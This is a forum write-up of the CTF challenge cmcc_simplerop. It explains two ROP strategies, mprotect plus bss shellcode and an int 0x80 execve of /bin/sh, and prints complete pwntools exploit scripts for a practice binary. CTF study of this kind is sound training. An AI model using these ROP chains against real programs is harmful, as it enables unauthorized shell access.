安全矩阵

 找回密码
 立即注册
搜索
查看: 2436|回复: 0

CTF实战练习Cmcc_simplerop

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-2-22 22:09:55 | 显示全部楼层 |阅读模式
原文链接:CTF实战练习Cmcc_simplerop


题目复现

函数很多,没有打印函数的plt,无法ret2libc。


主函数可溢出:

存在mprotect,可以改变bss权限后,在bss写入shell代码。

存在int 0x80,可以调整寄存器利用中断执行sh。

因此本题有两种思路。

解题思路
方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。
方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。

调试过程
方法一
先找bss段位置。

mprotect参数如下,实际操作时len取0x1000,addr要略比实际靠前,取0x80ef00,prot取二进制111,即为7。


执行完函数需要pop3执行后面的函数,都可以用。

read函数参数为0,bss地址,0x100。
方法二

int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。


此题栈比较奇怪,与ida不符,需要自己调试,下面是调试技术的展示。



gdb断点应该更直观。
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。




Payload


方法一
  1. from pwn import *
  2. context.log_level = 'debug'
  3. context.arch = 'i386'

  4. io = process('./simplerop')
  5. #io = remote('node4.buuoj.cn',25205)
  6. elf = ELF('./simplerop')
  7. main_addr = 0x8048e26
  8. read_addr = 0x806cd50
  9. #pop_eax = 0x80bae06
  10. pop_edx_ecx_ebx = 0x806e850
  11. #int80_addr = 0x80493e1
  12. binsh_addr = 0x80eaf80
  13. mprotect_addr = 0x806d870
  14. #binsh_addr = 0x80eb584

  15. payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)
  16. payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)
  17. payload += p32(binsh_addr)


  18. io.sendlineafter('it',payload)
  19. sleep(0.2)

  20. payload2 = asm(shellcraft.sh())
  21. io.sendline(payload2)

  22. io.interactive()
复制代码


方法二
  1. from pwn import *
  2. context.log_level = 'debug'
  3. context.arch = 'i386'

  4. io = process('./simplerop')
  5. #io = remote('node4.buuoj.cn',25205)
  6. elf = ELF('./simplerop')
  7. main_addr = 0x8048e26
  8. read_addr = 0x806cd50
  9. pop_eax = 0x80bae06
  10. pop_edx_ecx_ebx = 0x806e850
  11. pop_ebx = 0x80481c9
  12. int80_addr = 0x80493e1
  13. binsh_addr = 0x80eaf80
  14. #binsh_addr = 0x80eb584

  15. payload = b'a' * 0x20  + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
  16. payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)
  17. #payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)
  18. io.sendline(payload)
  19. io.sendline(b'/bin/sh\x00')

  20. io.interactive()
复制代码




未解决问题


未解决的问题1:法二中,网上payload设置binsh的地址,不能在本地调试到结果(远程却可以),报错“set_thread_area failed”,但binsh地址改为bss地址本地成功。

未解决的问题2:法二中,ecx,edx应该是可以缺省的,但我只pop_ebx就会报错“set_thread_area failed”。

希望有师傅可以交流解决上述问题!






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 07:42 , Processed in 0.018794 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表